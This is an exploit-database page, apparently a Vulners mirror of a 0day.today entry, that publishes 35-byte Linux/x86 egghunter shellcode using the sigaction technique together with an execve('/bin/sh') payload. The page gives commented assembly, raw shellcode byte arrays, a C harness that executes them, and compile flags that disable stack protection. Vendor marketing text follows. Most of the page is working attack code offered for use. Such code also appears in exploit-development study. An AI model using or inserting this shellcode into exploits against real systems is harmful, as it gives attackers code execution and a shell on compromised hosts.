Lucene search
K

Linux/x86 - Egghunter(0x50905090) + sigaction + execve(/bin/sh) Shellcode (35 bytes)

🗓️ 27 Jul 2020 00:00:00Reported by danf42Type 
zdt
 zdt
🔗 0day.today👁 270 Views

Linux Egghunter Shellcode for sigaction & execv

Code
# Exploit Title: Linux/x86 - Egghunter(0x50905090) + sigaction + execve(/bin/sh) Shellcode (35 bytes)
# Author: danf42
# Platform: Linux/x86

/*******************************************************************************
 sigaction(2) approach to egghunting as described in  the paper 
 "Safely Searching Process Virtual Address Space" by skape

 The shellcode prepares the registers to start the hunting by clearing the 
 direction flag and setting eax, ecx, and edx to 0

Egg value is 0x50905090

global _start

section .text

_start:
    cld                     ; clear the direction flag
    xor ecx, ecx            ; clear ecx
    mul ecx                 ; multiply by ecx, zero out eax and edx
IncPage:
    or cx, 0xfff            ; Align page address
IncAddr:
    inc ecx                 ; Go to next address
    push byte 0x43          ; syscall for sigaction()
    pop eax                 ; Put syscall value into EAX
    int 0x80                ; call sigaction() to check memory location [ECX]
    cmp al, 0xf2            ; Did it return EFAULT, Bad Address
    jz IncPage              ; Skip page if it returned EFAULT
    mov eax, 0x50905090     ; Store EGG in EAX
    mov edi, ecx            ; Move ECX to EDI for scasd operation
    scasd                   ; Check if [EDI] == EAX then increment EDI
    jnz IncAddr             ; Increment address if no match 
    scasd                   ; Check if [EDI] == EAX then increment EDI
    jnz IncAddr             ; Increment address if no match
    jmp edi                 ; Jump to EDI (our shellcode) if both eggs are found 

POC Shellcode to execute /bin/sh
  xor ecx, ecx      ; clear ecx
  mul ecx           ; mutliply eax by 0  
  push eax          ; push eax onto stack 
  push 0x68732f2f   ; push ASCII sh// onto stack
  push 0x6e69622f   ; push ASCII nib/ onto stack
  mov ebx, esp      ; push /bin/sh into ebx
  mov al, 0xb       ; mov 11 into lower byte of eax
  int 0x80          ; execute execve syscall

  mov al,0x01       ; move 1 into lower byte of each
  xor ebx,ebx       ; clear ebx
  int 0x80          ; execute exit syscall
 
To Cmpile: 
 gcc sigaction_egghunter.c -fno-stack-protector -z execstack -o sigaction_egghunter

*******************************************************************************/

#include<stdio.h>
#include<string.h>

unsigned char egghunter[] = "\xfc\x31\xc9\xf7\xe1\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";

unsigned char shellcode[] = "\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc9\xf7\xe1\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80";

void main()
{
        printf("Egghunter Length: %d\n", strlen(egghunter));
        printf("Shellcode Length: %d\n", strlen(shellcode));

	int (*ret)() = (int(*)())egghunter;

	ret();

}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jul 2020 00:00Current
7.1High risk
Vulners AI Score7.1
270